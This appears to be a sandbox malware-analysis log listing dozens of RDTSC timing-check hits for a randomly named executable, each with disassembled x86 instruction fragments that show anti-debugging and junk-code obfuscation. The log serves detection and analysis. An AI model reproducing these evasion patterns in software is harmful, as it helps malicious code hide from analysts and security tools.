Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78A698 second address: 78A6A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FEC84DC6BC6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 758E50 second address: 758E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jg 00007FEC84B62E06h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 758E65 second address: 758E69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 788879 second address: 78887D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7889FB second address: 7889FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7890A8 second address: 7890B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7890B4 second address: 7890B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789256 second address: 789262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FEC84B62E06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789262 second address: 789267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789267 second address: 78928A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FEC84B62E15h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d jng 00007FEC84B62E06h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789563 second address: 789583 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC84DC6BDAh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789712 second address: 789742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FEC84B62E12h 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007FEC84B62E11h 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 789F7B second address: 789F8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78A25A second address: 78A262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78A262 second address: 78A26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 75FAEC second address: 75FAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78E5D3 second address: 78E5D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78EA8D second address: 78EA9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78EC28 second address: 78EC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78DC29 second address: 78DC2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78DC2E second address: 78DC35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 78ED09 second address: 78ED75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FEC84B62E17h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FEC84B62E0Eh 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007FEC84B62E16h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 jbe 00007FEC84B62E19h 0x00000029 jmp 00007FEC84B62E13h 0x0000002e push eax 0x0000002f push edx 0x00000030 push esi 0x00000031 pop esi 0x00000032 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7951D5 second address: 7951DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 75E087 second address: 75E09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jnl 00007FEC84B62E06h 0x0000000e je 00007FEC84B62E06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 75E09D second address: 75E0B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BCEh 0x00000009 popad 0x0000000a je 00007FEC84DC6BD2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7947BD second address: 7947C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797D72 second address: 797D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797D76 second address: 797D7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797F37 second address: 797F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797F3B second address: 797F3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7980AB second address: 7980B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7982DC second address: 7982E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7983AB second address: 7983BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEC84DC6BCEh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798948 second address: 79896D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 jmp 00007FEC84B62E0Ah 0x0000000e pop ebx 0x0000000f xchg eax, ebx 0x00000010 mov edi, 715C8E29h 0x00000015 push eax 0x00000016 jc 00007FEC84B62E18h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79896D second address: 798971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798971 second address: 798975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798B3D second address: 798B44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798C36 second address: 798C3C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798C3C second address: 798C5A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEC84DC6BCCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEC84DC6BCBh 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798CE3 second address: 798CF5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FEC84B62E06h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 798E14 second address: 798E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 799474 second address: 7994F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FEC84B62E08h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 add edi, dword ptr [ebp+122D3528h] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D20C4h], edx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FEC84B62E08h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D20C4h], eax 0x00000056 push eax 0x00000057 push ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 799DED second address: 799E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 movsx edi, si 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FEC84DC6BC8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1C18h], esi 0x0000002e mov di, 19CDh 0x00000032 push 00000000h 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 jmp 00007FEC84DC6BD3h 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FEC84DC6BCFh 0x00000042 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79B736 second address: 79B74D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEC84B62E08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FEC84B62E08h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79B74D second address: 79B753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79B753 second address: 79B757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A421F second address: 7A4225 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A4225 second address: 7A423B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC84B62E0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A5170 second address: 7A5186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jl 00007FEC84DC6BD2h 0x0000000e js 00007FEC84DC6BCCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AA010 second address: 7AA01A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEC84B62E06h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A22D1 second address: 7A2363 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jne 00007FEC84DC6BC6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bx, si 0x00000012 push dword ptr fs:[00000000h] 0x00000019 pushad 0x0000001a add dword ptr [ebp+1244F3B8h], ecx 0x00000020 mov dword ptr [ebp+122D2741h], esi 0x00000026 popad 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e call 00007FEC84DC6BCFh 0x00000033 pop edi 0x00000034 mov eax, dword ptr [ebp+122D1739h] 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007FEC84DC6BC8h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 push FFFFFFFFh 0x00000056 jg 00007FEC84DC6BCCh 0x0000005c nop 0x0000005d jmp 00007FEC84DC6BD5h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 pushad 0x00000067 popad 0x00000068 jg 00007FEC84DC6BC6h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A74FF second address: 7A751C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FEC84B62E0Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A751C second address: 7A7520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A849A second address: 7A849E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A849E second address: 7A84AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FEC84DC6BC6h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7ABF3E second address: 7ABFD8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007FEC84B62E06h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f sub edi, 219741A3h 0x00000015 sub dword ptr [ebp+124575ECh], ecx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FEC84B62E08h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 movzx ebx, dx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FEC84B62E08h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 mov dword ptr [ebp+122D2825h], ecx 0x0000005c mov dword ptr [ebp+122D181Ch], eax 0x00000062 xchg eax, esi 0x00000063 push edi 0x00000064 jmp 00007FEC84B62E0Eh 0x00000069 pop edi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FEC84B62E16h 0x00000072 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7ABFD8 second address: 7ABFDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A92A6 second address: 7A92AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AE027 second address: 7AE02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AA1E0 second address: 7AA201 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007FEC84B62E06h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEC84B62E12h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A92AA second address: 7A92B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B20E2 second address: 7B20E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7A92B0 second address: 7A92BA instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEC84DC6BCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AE2EB second address: 7AE2F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AE2F8 second address: 7AE2FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AE2FC second address: 7AE306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AE306 second address: 7AE30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7AF402 second address: 7AF406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B3BBE second address: 7B3BC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FEC84DC6BC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B8A03 second address: 7B8A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 ja 00007FEC84B62E06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B844B second address: 7B844F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B844F second address: 7B8453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7B8453 second address: 7B845B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 74ECB5 second address: 74ECDF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEC84B62E24h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C0EE7 second address: 7C0EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C0EEB second address: 7C0F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FEC84B62E0Ah 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 jns 00007FEC84B62E06h 0x00000018 popad 0x00000019 jmp 00007FEC84B62E12h 0x0000001e jnp 00007FEC84B62E0Ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C1720 second address: 7C174A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FEC84DC6BCCh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C5A38 second address: 7C5A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C5CF6 second address: 7C5D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007FEC84DC6BCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C5FF2 second address: 7C5FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C6290 second address: 7C62AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEC84DC6BD7h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C62AE second address: 7C62B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C6581 second address: 7C6585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7C6585 second address: 7C658B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CBCF4 second address: 7CBD08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CAFB2 second address: 7CAFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
